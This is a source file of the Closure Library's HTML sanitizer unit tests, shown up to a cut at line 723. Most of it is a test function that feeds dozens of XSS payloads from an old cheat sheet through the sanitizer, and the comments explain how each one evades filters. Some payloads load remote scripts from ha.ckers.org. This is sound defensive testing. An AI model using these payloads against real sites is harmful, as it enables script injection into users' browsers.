Debian Codegraph @

closure-library/closure/goog/html/sanitizer/htmlsanitizer_test.js

raw
1 // Copyright 2016 The Closure Library Authors. All Rights Reserved.
2 //
3 // Licensed under the Apache License, Version 2.0 (the "License");
4 // you may not use this file except in compliance with the License.
5 // You may obtain a copy of the License at
6 //
7 // http://www.apache.org/licenses/LICENSE-2.0
8 //
9 // Unless required by applicable law or agreed to in writing, software
10 // distributed under the License is distributed on an "AS-IS" BASIS,
11 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 // See the License for the specific language governing permissions and
13 // limitations under the License.
14
15
16 /**
17 * @fileoverview Unit tests for HTML Sanitizer
18 */
19
20 goog.provide('goog.html.HtmlSanitizerTest');
21 goog.setTestOnly();
22
23 goog.require('goog.array');
24 goog.require('goog.dom');
25 goog.require('goog.functions');
26 goog.require('goog.html.SafeHtml');
27 goog.require('goog.html.SafeUrl');
28 goog.require('goog.html.sanitizer.HtmlSanitizer');
29 goog.require('goog.html.sanitizer.HtmlSanitizer.Builder');
30 goog.require('goog.html.sanitizer.TagBlacklist');
31 goog.require('goog.html.sanitizer.TagWhitelist');
32 goog.require('goog.html.sanitizer.unsafe');
33 goog.require('goog.html.testing');
34 goog.require('goog.object');
35 goog.require('goog.string.Const');
36 goog.require('goog.testing.dom');
37 goog.require('goog.testing.jsunit');
38 goog.require('goog.userAgent');
39 goog.require('goog.userAgent.product');
40
41
42 var isIE8 = goog.userAgent.IE && !goog.userAgent.isVersionOrHigher(9);
43
44
45 var isIE9 =
46 goog.userAgent.IE && !goog.userAgent.isVersionOrHigher(10) && !isIE8;
47
48
49 var justification = goog.string.Const.from('test');
50
51
52 /**
53 * Sanitizes the original HTML and asserts that it is the same as the expected
54 * HTML. If present the config is passed through to the sanitizer. Supports
55 * approximate matching using a RegExp.
56 * @param {string} originalHtml
57 * @param {string|!RegExp} expectedHtml
58 * @param {?goog.html.sanitizer.HtmlSanitizer=} opt_sanitizer
59 */
60 function assertSanitizedHtml(originalHtml, expectedHtml, opt_sanitizer) {
61 var sanitizer =
62 opt_sanitizer || new goog.html.sanitizer.HtmlSanitizer.Builder().build();
63 try {
64 var sanitized = goog.html.SafeHtml.unwrap(sanitizer.sanitize(originalHtml));
65 if (isIE9) {
66 assertEquals('', sanitized);
67 return;
68 }
69 if (typeof expectedHtml == 'string') {
70 goog.testing.dom.assertHtmlMatches(
71 expectedHtml, sanitized, true /* opt_strictAttributes */);
72 } else {
73 assertRegExp(expectedHtml, sanitized);
74 }
75 } catch (err) {
76 if (!isIE8) {
77 throw err;
78 }
79 }
80 if (!opt_sanitizer) {
81 // Retry with raw sanitizer created without the builder.
82 assertSanitizedHtml(
83 originalHtml, expectedHtml, new goog.html.sanitizer.HtmlSanitizer());
84 // Retry with an explicitly passed in Builder.
85 var builder = new goog.html.sanitizer.HtmlSanitizer.Builder();
86 assertSanitizedHtml(
87 originalHtml, expectedHtml,
88 new goog.html.sanitizer.HtmlSanitizer(builder));
89 }
90 }
91
92
93 /**
94 * @param {!goog.html.SafeHtml} safeHtml Sanitized HTML which contains a style.
95 * @return {string} cssText contained within SafeHtml.
96 */
97 function getStyle(safeHtml) {
98 var tmpElement = goog.dom.safeHtmlToNode(safeHtml);
99 return tmpElement.style ? tmpElement.style.cssText : '';
100 }
101
102
103 /**
104 * Shorthand for sanitized tags
105 * @param {string} tag
106 * @return {string}
107 */
108 function otag(tag) {
109 return 'data-sanitizer-original-tag="' + tag + '"';
110 }
111
112
113 /**
114 * Sanitize content, let the browser apply its own HTML tree correction by
115 * attaching the content to the document, and then assert it matches the
116 * expected value.
117 * @param {string} expected
118 * @param {string} input
119 */
120 function assertAfterInsertionEquals(expected, input) {
121 var sanitizer =
122 new Builder().allowFormTag().allowStyleTag().withStyleContainer().build();
123 input = SafeHtml.unwrap(sanitizer.sanitize(input));
124 var div = document.createElement('div');
125 document.body.appendChild(div);
126 div.innerHTML = input;
127 googTestingDom.assertHtmlMatches(
128 expected, div.innerHTML, true /* opt_strictAttributes */);
129 div.parentNode.removeChild(div);
130 }
131
132
133 function testHtmlSanitizeSafeHtml() {
134 var html;
135 html = 'hello world';
136 assertSanitizedHtml(html, html);
137
138 html = '<b>hello world</b>';
139 assertSanitizedHtml(html, html);
140
141 html = '<i>hello world</i>';
142 assertSanitizedHtml(html, html);
143
144 html = '<u>hello world</u>';
145 assertSanitizedHtml(html, html);
146
147 // NOTE(user): original did not have tbody
148 html = '<table><tbody><tr><td>hello world</td></tr></tbody></table>';
149 assertSanitizedHtml(html, html);
150
151 html = '<h1>hello world</h1>';
152 assertSanitizedHtml(html, html);
153
154 html = '<div>hello world</div>';
155 assertSanitizedHtml(html, html);
156
157 html = '<a>hello world</a>';
158 assertSanitizedHtml(html, html);
159
160 html = '<div><span>hello world</span></div>';
161 assertSanitizedHtml(html, html);
162
163 html = '<div><a target=\'_blank\'>hello world</a></div>';
164 assertSanitizedHtml(html, html);
165 }
166
167
168 // TODO(pelizzi): name of test does not make sense
169 function testDefaultCssSanitizeImage() {
170 var html = '<div></div>';
171 assertSanitizedHtml(html, html);
172 }
173
174
175 function testBuilderCanOnlyBeUsedOnce() {
176 var builder = new goog.html.sanitizer.HtmlSanitizer.Builder();
177 builder.build();
178 assertThrows(function() {
179 builder.build();
180 });
181 assertThrows(function() {
182 new goog.html.sanitizer.HtmlSanitizer(builder);
183 });
184 }
185
186
187 function testAllowedCssSanitizeImage() {
188 var testUrl = 'http://www.example.com/image3.jpg';
189 var html = '<div style="background: url(' + testUrl + ');"></div>';
190
191 var sanitizer =
192 new goog.html.sanitizer.HtmlSanitizer.Builder()
193 .allowCssStyles()
194 .withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
195 .build();
196
197 try {
198 var sanitizedHtml = sanitizer.sanitize(html);
199 if (isIE9) {
200 assertEquals('', goog.html.SafeHtml.unwrap(sanitizedHtml));
201 return;
202 }
203 assertRegExp(
204 /background(?:-image)?:.*url\(.?http:\/\/www.example.com\/image3.jpg.?\)/,
205 getStyle(sanitizedHtml));
206 } catch (err) {
207 if (!isIE8) {
208 throw err;
209 }
210 }
211 }
212
213
214 function testHtmlSanitizeXSS() {
215 // NOTE(user): xss cheat sheet found on http://ha.ckers.org/xss.html
216 var safeHtml, xssHtml;
217 // Inserting <script> tags is unsafe
218 // Browser Support [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
219 safeHtml = '';
220 xssHtml = '<SCRIPT SRC=xss.js><\/SCRIPT>';
221 assertSanitizedHtml(xssHtml, safeHtml);
222 // removes strings like javascript:, alert, etc
223 // Image XSS using the javascript directive
224 // Browser Support [IE6.0|IE8.0|NS8.1-IE]
225 safeHtml = '<img />';
226 xssHtml = '<IMG SRC="javascript:xss=true;">';
227 assertSanitizedHtml(xssHtml, safeHtml);
228
229 safeHtml = '<div><a>hello world</a></div>';
230 xssHtml = '<div><a target=\'_xss\'>hello world</a></div>';
231 assertSanitizedHtml(xssHtml, safeHtml);
232
233 safeHtml = '';
234 xssHtml = '<IFRAME SRC="javascript:xss=true;">';
235 assertSanitizedHtml(xssHtml, safeHtml);
236
237 safeHtml = '';
238 xssHtml = '<iframe src=" javascript:xss=true;">';
239 assertSanitizedHtml(xssHtml, safeHtml);
240
241 // no quotes and no semicolon
242 // Browser Support [IE6.0|NS8.1-IE]
243 safeHtml = '<img />';
244 xssHtml = '<IMG SRC=javascript:alert("XSS")>';
245 assertSanitizedHtml(xssHtml, safeHtml);
246
247 // case insensitive xss attack
248 // Browser Support [IE6.0|NS8.1-IE]
249 safeHtml = '<img />';
250 xssHtml = '<IMG SRC=JaVaScRiPt:alert("XSS")>';
251 assertSanitizedHtml(xssHtml, safeHtml);
252
253 // HTML Entities
254 // Browser Support [IE6.0|NS8.1-IE]
255 safeHtml = '<img />';
256 xssHtml = '<IMG SRC=javascript:alert(&quot;XSS&quot;)>';
257 assertSanitizedHtml(xssHtml, safeHtml);
258
259 // Grave accent obfuscation (If you need to use both double and single quotes
260 // you can use a grave accent to encapsulate the JavaScript string)
261 // Browser Support [IE6.0|NS8.1-IE]
262 safeHtml = '<img />';
263 xssHtml = '<IMG SRC=`javascript:alert("foo \'bar\'")`>';
264 assertSanitizedHtml(xssHtml, safeHtml);
265
266 safeHtml = '<img />';
267 xssHtml = '<IMG data-xxx=`yyy`>';
268 assertSanitizedHtml(xssHtml, safeHtml);
269
270 // Malformed IMG tags
271 // http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300
272 // Browser Support [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
273 safeHtml = '<img />"&gt;';
274 xssHtml = '<IMG """><SCRIPT defer>exploited = true;<\/SCRIPT>">';
275 assertSanitizedHtml(xssHtml, safeHtml);
276
277 // UTF-8 Unicode encoding
278 // Browser Support [IE6.0|NS8.1-IE]
279 safeHtml = '<img />';
280 xssHtml = '<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;' +
281 '&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;' +
282 '&#41;>';
283 assertSanitizedHtml(xssHtml, safeHtml);
284
285 // Long UTF-8 Unicode encoding without semicolons (this is often effective
286 // in XSS that attempts to look for "&#XX;", since most people don't know
287 // about padding - up to 7 numeric characters total). This is also useful
288 // against people who decode against strings like
289 // $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon
290 // is required to terminate a html encoded string:
291 // Browser Support [IE6.0|NS8.1-IE]
292 safeHtml = '<img />';
293 xssHtml = '<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099' +
294 '&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108' +
295 '&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083' +
296 '&#0000083&#0000039&#0000041>';
297 assertSanitizedHtml(xssHtml, safeHtml);
298
299 // Hex encoding without semicolons (this is also a viable XSS attack against
300 // the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that
301 // there is a numeric character following the pound symbol - which is not true
302 // with hex HTML characters). Use the XSS calculator for more information:
303 // Browser Support [IE6.0|NS8.1-IE]
304 safeHtml = '<img />';
305 xssHtml = '<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A' +
306 '&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>';
307 assertSanitizedHtml(xssHtml, safeHtml);
308
309 // Embedded tab
310 // Browser Support [IE6.0|NS8.1-IE]
311 safeHtml = '<img />';
312 xssHtml = '<IMG SRC="jav\tascript:xss=true;">';
313 assertSanitizedHtml(xssHtml, safeHtml);
314
315 // Embedded encoded tab
316 // Browser Support [IE6.0|NS8.1-IE]
317 safeHtml = '<img />';
318 xssHtml = '<IMG SRC="jav&#x09;ascript:xss=true;">';
319 assertSanitizedHtml(xssHtml, safeHtml);
320
321 // Embeded newline to break up XSS. Some websites claim that any of the chars
322 // 09-13 (decimal) will work for this attack. That is incorrect. Only 09
323 // (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii
324 // chart for more details. The following four XSS examples illustrate this
325 // vector:
326 // Browser Support [IE6.0|NS8.1-IE]
327 safeHtml = '<img />';
328 xssHtml = '<IMG SRC="jav&#x0A;ascript:xss=true;">';
329 assertSanitizedHtml(xssHtml, safeHtml);
330
331 // Multiline Injected JavaScript using ASCII carriage returns (same as above
332 // only a more extreme example of this XSS vector) these are not spaces just
333 // one of the three characters as described above:
334 // Browser Support [IE6.0|NS8.1-IE]
335 safeHtml = '<img />';
336 xssHtml = '<IMG\nSRC\n=\n"\nj\na\nv\na\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt' +
337 '\n(\n"\nX\nS\nS\n"\n)\n"\n>';
338 assertSanitizedHtml(xssHtml, safeHtml);
339
340 // Null breaks up JavaScript directive. Okay, I lied, null chars also work as
341 // XSS vectors but not like above, you need to inject them directly using
342 // something like Burp Proxy or use %00 in the URL string or if you want to
343 // write your own injection tool you can either use vim (^V^@ will produce a
344 // null) or the following program to generate it into a text file. Okay, I
345 // lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable
346 // to one additional char 173 (the soft hypen control char). But the null
347 // char %00 is much more useful and helped me bypass certain real world
348 // filters with a variation on this example:
349 // Browser Support [IE6.0|IE7.0|NS8.1-IE]
350 safeHtml = '<img />';
351 xssHtml = '<IMG SRC=java\0script:alert("hey");>';
352 assertSanitizedHtml(xssHtml, safeHtml);
353
354 // On IE9, the null character actually causes us to only see <SCR. The
355 // sanitizer on IE9 doesn't "recover as well" as other browsers but the
356 // result is safe.
357 safeHtml = isIE9 ? '' : '<span>alert("XSS")</span>';
358 xssHtml = '<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>';
359 assertSanitizedHtml(xssHtml, safeHtml);
360
361 // Spaces and meta chars before the JavaScript in images for XSS (this is
362 // useful if the pattern match doesn't take into account spaces in the word
363 // "javascript:" -which is correct since that won't render- and makes the
364 // false assumption that you can't have a space between the quote and the
365 // "javascript:" keyword. The actual reality is you can have any char from
366 // 1-32 in decimal):
367 // Browser Support [IE7.0|NS8.1-IE]
368 safeHtml = '<img />';
369 xssHtml = '<IMG SRC=" &#14; javascript:alert(window);">';
370 assertSanitizedHtml(xssHtml, safeHtml);
371
372 // Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I
373 // found that it assumes a non-alpha-non-digit is not valid after an HTML
374 // keyword and therefor considers it to be a whitespace or non-valid token
375 // after an HTML tag. The problem is that some XSS filters assume that the
376 // tag they are looking for is broken up by whitespace.
377 // Browser Support [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
378 safeHtml = '';
379 xssHtml = '<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
380 assertSanitizedHtml(xssHtml, safeHtml);
381
382 // Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this
383 // vector, based on the same idea as above, however, I expanded on it, using
384 // my fuzzer. The Gecko rendering engine allows for any character other than
385 // letters, numbers or encapsulation chars (like quotes, angle brackets,
386 // etc...) between the event handler and the equals sign, making it easier
387 // to bypass cross site scripting blocks. Note that this also applies to the
388 // grave accent char as seen here:
389 // Browser support: [NS8.1-G|FF2.0]
390 safeHtml = '';
391 xssHtml = '<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>';
392 assertSanitizedHtml(xssHtml, safeHtml);
393
394 // Non-alpha-non-digit part 3 XSS. Yair Amit brought this to my attention
395 // that there is slightly different behavior between the IE and Gecko
396 // rendering engines that allows just a slash between the tag and the
397 // parameter with no spaces. This could be useful if the system does not
398 // allow spaces.
399 // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
400 safeHtml = '';
401 xssHtml = '<SCRIPT/SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
402 assertSanitizedHtml(xssHtml, safeHtml);
403
404 // Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector
405 // could defeat certain detection engines that work by first using matching
406 // pairs of open and close angle brackets and then by doing a comparison of
407 // the tag inside, instead of a more efficient algorythm like Boyer-Moore that
408 // looks for entire string matches of the open angle bracket and associated
409 // tag (post de-obfuscation, of course). The double slash comments out the
410 // ending extraneous bracket to supress a JavaScript error:
411 // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
412 safeHtml = '&lt;';
413 xssHtml = '<<SCRIPT>xss=true;//<<\/SCRIPT>';
414 assertSanitizedHtml(xssHtml, safeHtml);
415
416 // No closing script tags. In Firefox and Netscape 8.1 in the Gecko rendering
417 // engine mode you don't actually need the "><\/SCRIPT>" portion of this Cross
418 // Site Scripting vector. Firefox assumes it's safe to close the HTML tag and
419 // add closing tags for you. How thoughtful! Unlike the next one, which
420 // doesn't effect Firefox, this does not require any additional HTML below it.
421 // You can add quotes if you need to, but they're not needed generally,
422 // although beware, I have no idea what the HTML will end up looking like once
423 // this is injected:
424 // Browser support: [NS8.1-G|FF2.0]
425 safeHtml = '';
426 xssHtml = '<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>';
427 assertSanitizedHtml(xssHtml, safeHtml);
428
429 // Protocol resolution in script tags. This particular variant was submitted
430 // by Lukasz Pilorz and was based partially off of Ozh's protocol resolution
431 // bypass below. This cross site scripting example works in IE, Netscape in
432 // IE rendering mode and Opera if you add in a <\/SCRIPT> tag at the end.
433 // However, this is especially useful where space is an issue, and of course,
434 // the shorter your domain, the better. The ".j" is valid, regardless of the
435 // encoding type because the browser knows it in context of a SCRIPT tag.
436 // Browser support: [NS8.1-G|FF2.0]
437 safeHtml = '';
438 xssHtml = '<SCRIPT SRC=//ha.ckers.org/.j>';
439 assertSanitizedHtml(xssHtml, safeHtml);
440
441 // Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering
442 // engine doesn't add extra data to your page, but it does allow the
443 // javascript: directive in images. This is useful as a vector because it
444 // doesn't require a close angle bracket. This assumes there is any HTML tag
445 // below where you are injecting this cross site scripting vector. Even though
446 // there is no close ">" tag the tags below it will close it. A note: this
447 // does mess up the HTML, depending on what HTML is beneath it. It gets around
448 // the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/
449 // because it doesn't require the end ">". As a side note, this was also
450 // affective against a real world XSS filter I came across using an open
451 // ended <IFRAME tag instead of an <IMG tag:
452 // Browser support: [IE6.0|NS8.1-IE]
453 safeHtml = isIE9 ? '<img>' : '';
454 xssHtml = '<IMG SRC="javascript:alert(this)"';
455 assertSanitizedHtml(xssHtml, safeHtml);
456
457 // Double open angle brackets. This is an odd one that Steven Christey
458 // brought to my attention. At first I misclassified this as the same XSS
459 // vector as above but it's surprisingly different. Using an open angle
460 // bracket at the end of the vector instead of a close angle bracket causes
461 // different behavior in Netscape Gecko rendering. Without it, Firefox will
462 // work but Netscape won't:
463 // Browser support: [NS8.1-G|FF2.0]
464 safeHtml = '';
465 xssHtml = '<iframe src=http://ha.ckers.org/scriptlet.html <';
466 assertSanitizedHtml(xssHtml, safeHtml);
467
468 // End title tag. This is a simple XSS vector that closes <TITLE> tags,
469 // which can encapsulate the malicious cross site scripting attack:
470 // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
471 safeHtml = '';
472 xssHtml = '</TITLE><SCRIPT>alert(window);<\/SCRIPT>';
473 assertSanitizedHtml(xssHtml, safeHtml);
474
475 // Input Image.
476 // Browser support: [IE6.0|NS8.1-IE]
477 safeHtml = '<input type="IMAGE" />';
478 xssHtml = '<INPUT TYPE="IMAGE" SRC="javascript:alert(window);">';
479 assertSanitizedHtml(xssHtml, safeHtml);
480
481 // Body image.
482 // Browser support: [IE6.0|NS8.1-IE]
483 safeHtml = '';
484 xssHtml = '<BODY BACKGROUND="javascript:alert(window)">';
485 assertSanitizedHtml(xssHtml, safeHtml);
486
487 // BODY tag (I like this method because it doesn't require using any variants
488 // of "javascript:" or "<SCRIPT..." to accomplish the XSS attack).
489 // Dan Crowley additionally noted that you can put a space before the equals
490 // sign ("onload=" != "onload ="):
491 // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
492 safeHtml = '';
493 xssHtml = '<BODY ONLOAD=alert(window)>';
494 assertSanitizedHtml(xssHtml, safeHtml);
495
496 // IMG SYNSRC.
497 // Browser support: [IE6.0|NS8.1-IE]
498 safeHtml = '<img />';
499 xssHtml = '<IMG DYNSRC="javascript:alert(window)">';
500 assertSanitizedHtml(xssHtml, safeHtml);
501
502 // IMG LOWSRC.
503 // Browser support: [IE6.0|NS8.1-IE]
504 safeHtml = '<img />';
505 xssHtml = '<IMG LOWSRC="javascript:alert(window)">';
506 assertSanitizedHtml(xssHtml, safeHtml);
507
508 // BGSOUND
509 safeHtml = '';
510 xssHtml = '<BGSOUND SRC="javascript:alert(window);">';
511 assertSanitizedHtml(xssHtml, safeHtml);
512
513 // & Javascript includes
514 // Browser support: netscape 4
515 safeHtml = '<br size="&amp;{alert(window)}" />';
516 xssHtml = '<BR SIZE="&{alert(window)}">';
517 assertSanitizedHtml(xssHtml, safeHtml);
518
519 // Layer
520 // Browser support: netscape 4
521 safeHtml = '';
522 xssHtml = '<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>';
523 assertSanitizedHtml(xssHtml, safeHtml);
524
525 // STYLE sheet
526 // Browser support: [IE6.0|NS8.1-IE]
527 safeHtml = '';
528 xssHtml = '<LINK REL="stylesheet" HREF="javascript:alert(window);">';
529 assertSanitizedHtml(xssHtml, safeHtml);
530
531 // List-style-image. Fairly esoteric issue dealing with embedding images for
532 // bulleted lists. This will only work in the IE rendering engine because of
533 // the JavaScript directive. Not a particularly useful cross site scripting
534 // vector:
535 // Browser support: [IE6.0|NS8.1-IE]
536 safeHtml = '<ul><li>XSS</li></ul>';
537 xssHtml = '<STYLE>li {list-style-image: url("javascript:alert(window)");}' +
538 '</STYLE><UL><LI>XSS';
539 assertSanitizedHtml(xssHtml, safeHtml);
540
541 // VBscript in an image:
542 // Browser support: [IE6.0|NS8.1-IE]
543 safeHtml = '<img />';
544 xssHtml = '<IMG SRC=\'vbscript:msgbox("XSS")\'>';
545 assertSanitizedHtml(xssHtml, safeHtml);
546
547 // Mock in an image:
548 // Browser support: [NS4]
549 safeHtml = '<img />';
550 xssHtml = '<IMG SRC="mocha:[code]">';
551 assertSanitizedHtml(xssHtml, safeHtml);
552
553 // Livescript in an image:
554 // Browser support: [NS4]
555 safeHtml = '<img />';
556 xssHtml = '<IMG SRC="livescript:[code]">';
557 assertSanitizedHtml(xssHtml, safeHtml);
558
559 // META (the odd thing about meta refresh is that it doesn't send a referrer
560 // in the header - so it can be used for certain types of attacks where you
561 // need to get rid of referring URLs):
562 // Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
563 safeHtml = '';
564 xssHtml = '<META HTTP-EQUIV="refresh" CONTENT="0;url=' +
565 'javascript:alert(window);">';
566 assertSanitizedHtml(xssHtml, safeHtml);
567
568 // META using data: directive URL scheme. This is nice because it also doesnt
569 // have anything visibly that has the word SCRIPT or the JavaScript directive
570 // in it, because it utilizes base64 encoding. Please see RFC 2397 for more
571 // details or go here or here to encode your own. You can also use the XSS
572 // calculator below if you just want to encode raw HTML or JavaScript as it
573 // has a Base64 encoding method:
574 // Browser support: [NS8.1-G|FF2.0] [O9.02]
575 safeHtml = '';
576 xssHtml = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,' +
577 'PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">';
578 assertSanitizedHtml(xssHtml, safeHtml);
579
580 // META with additional URL parameter. If the target website attempts to see
581 // if the URL contains "http://" at the beginning you can evade it with the
582 // following technique (Submitted by Moritz Naumann):
583 safeHtml = '';
584 xssHtml = '<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=' +
585 'javascript:alert(window);">';
586 assertSanitizedHtml(xssHtml, safeHtml);
587
588 // IFRAME (if iframes are allowed there are a lot of other XSS problems as
589 // well):
590 // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
591 safeHtml = '';
592 xssHtml = '<IFRAME SRC="javascript:alert(window);"></IFRAME>';
593 assertSanitizedHtml(xssHtml, safeHtml);
594
595 // FRAME (frames have the same sorts of XSS problems as iframes):
596 // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
597 safeHtml = '';
598 xssHtml = '<FRAMESET><FRAME SRC="javascript:alert(window);"></FRAMESET>';
599 assertSanitizedHtml(xssHtml, safeHtml);
600
601 // TABLE (who would have thought tables were XSS targets... except me, of
602 // course):
603 // Browser support: [IE6.0|NS8.1-IE] [O9.02]
604 safeHtml = isIE9 ? '<table><div></div></table>' : '<table></table>';
605 xssHtml = '<TABLE BACKGROUND="javascript:alert(window)">';
606 // TODO(danesh): Investigate why this is different for IE9.
607 assertSanitizedHtml(xssHtml, safeHtml);
608
609 // TD (just like above, TD's are vulnerable to BACKGROUNDs containing
610 // JavaScript XSS vectors):
611 // Browser support: [IE6.0|NS8.1-IE] [O9.02]
612 // NOTE(user): original lacked tbody tags
613 safeHtml = '<table><tbody><tr><td></td></tr></tbody></table>';
614 xssHtml = '<TABLE><TD BACKGROUND="javascript:alert(window)">';
615 assertSanitizedHtml(xssHtml, safeHtml);
616
617 // TD (just like above, TD's are vulnerable to BACKGROUNDs containing
618 // JavaScript XSS vectors):
619 // Browser support: [IE6.0|NS8.1-IE] [O9.02]
620 safeHtml = '<div></div>';
621 xssHtml = '<DIV STYLE="background-image: url(javascript:alert(window))">';
622 assertSanitizedHtml(xssHtml, safeHtml);
623
624 // DIV background-image plus extra characters. I built a quick XSS fuzzer to
625 // detect any erroneous characters that are allowed after the open parenthesis
626 // but before the JavaScript directive in IE and Netscape 8.1 in secure site
627 // mode. These are in decimal but you can include hex and add padding of
628 // course. (Any of the following chars can be used: 1-32, 34, 39, 160,
629 // 8192-8.13, 12288, 65279):
630 // Browser support: [IE6.0|NS8.1-IE]
631 safeHtml = '<div></div>';
632 xssHtml = '<DIV STYLE="background-image: url(&#1;javascript:alert(window))">';
633 assertSanitizedHtml(xssHtml, safeHtml);
634
635 // DIV expression - a variant of this was effective against a real world
636 // cross site scripting filter using a newline between the colon and
637 // "expression":
638 // Browser support: [IE7.0|IE6.0|NS8.1-IE]
639 safeHtml = '<div></div>';
640 xssHtml = '<DIV STYLE="width: expression(alert(window));">';
641 assertSanitizedHtml(xssHtml, safeHtml);
642
643 // STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE
644 // into an infinite loop of alerts):
645 // Browser support: [IE6.0|NS8.1-IE]
646 safeHtml = '';
647 xssHtml = '<STYLE>@im\port\'\ja\vasc\ript:alert(window)\';</STYLE>';
648 assertSanitizedHtml(xssHtml, safeHtml);
649
650 // STYLE attribute using a comment to break up expression (Thanks to Roman
651 // Ivanov for this one):
652 // Browser support: [IE7.0|IE6.0|NS8.1-IE]
653 safeHtml = '<img />';
654 xssHtml = '<IMG STYLE="xss:expr/*XSS*/ession(alert(window))">';
655 assertSanitizedHtml(xssHtml, safeHtml);
656
657 // Anonymous HTML with STYLE attribute (IE6.0 and Netscape 8.1+ in IE
658 // rendering engine mode don't really care if the HTML tag you build exists
659 // or not, as long as it starts with an open angle bracket and a letter):
660 safeHtml = '<span></span>';
661 xssHtml = '<XSS STYLE="xss:expression(alert(window))">';
662 assertSanitizedHtml(xssHtml, safeHtml);
663
664 // IMG STYLE with expression (this is really a hybrid of the above XSS
665 // vectors, but it really does show how hard STYLE tags can be to parse apart,
666 // like above this can send IE into a loop):
667 // Browser support: [IE7.0|IE6.0|NS8.1-IE]
668 safeHtml = isIE9 ? 'undefined' : 'exp/*<a></a>';
669 xssHtml = 'exp/*<A STYLE="no\\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*' +
670 '/*/pression(alert(window))">';
671 assertSanitizedHtml(xssHtml, safeHtml);
672
673 // STYLE tag (Older versions of Netscape only):
674 // Browser support: [NS4]
675 safeHtml = '';
676 xssHtml = '<STYLE TYPE="text/javascript">xss=true;</STYLE>';
677 assertSanitizedHtml(xssHtml, safeHtml);
678
679 // STYLE tag using background-image:
680 // Browser support: [IE6.0|NS8.1-IE]
681 safeHtml = isIE9 ? 'undefined' : '<a></a>';
682 xssHtml = '<STYLE>.XSS{background-image:url("javascript:alert("XSS")");}' +
683 '</STYLE><A CLASS=XSS></A>';
684 assertSanitizedHtml(xssHtml, safeHtml);
685
686 // BASE tag. Works in IE and Netscape 8.1 in safe mode. You need the // to
687 // comment out the next characters so you won't get a JavaScript error and
688 // your XSS tag will render. Also, this relies on the fact that the website
689 // uses dynamically placed images like "images/image.jpg" rather than full
690 // paths. If the path includes a leading forward slash like
691 // "/images/image.jpg" you can remove one slash from this vector (as long as
692 // there are two to begin the comment this will work):
693 // Browser support: [IE6.0|NS8.1-IE]
694 safeHtml = '';
695 xssHtml = '<BASE HREF="javascript:xss=true;//">';
696 assertSanitizedHtml(xssHtml, safeHtml);
697
698 // OBJECT tag (if they allow objects, you can also inject virus payloads to
699 // infect the users, etc. and same with the APPLET tag). The linked file is
700 // actually an HTML file that can contain your XSS:
701 // Browser support: [O9.02]
702 safeHtml = '';
703 xssHtml = '<OBJECT TYPE="text/x-scriptlet" ' +
704 'DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>';
705 assertSanitizedHtml(xssHtml, safeHtml);
706
707 // Using an EMBED tag you can embed a Flash movie that contains XSS. Click
708 // here for a demo. If you add the attributes allowScriptAccess="never" and
709 // allownetworking="internal" it can mitigate this risk (thank you to Jonathan
710 // Vanasco for the info).:
711 // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
712 safeHtml = '';
713 xssHtml = '<EMBED SRC="http://ha.ckers.org/xss.swf" ' +
714 'AllowScriptAccess="always"></EMBED>';
715 assertSanitizedHtml(xssHtml, safeHtml);
716
717 // You can EMBED SVG which can contain your XSS vector. This example only
718 // works in Firefox, but it's better than the above vector in Firefox because
719 // it does not require the user to have Flash turned on or installed. Thanks
720 // to nEUrOO for this one.
721 // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
722 safeHtml = '';
723 xssHtml = '<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH' +
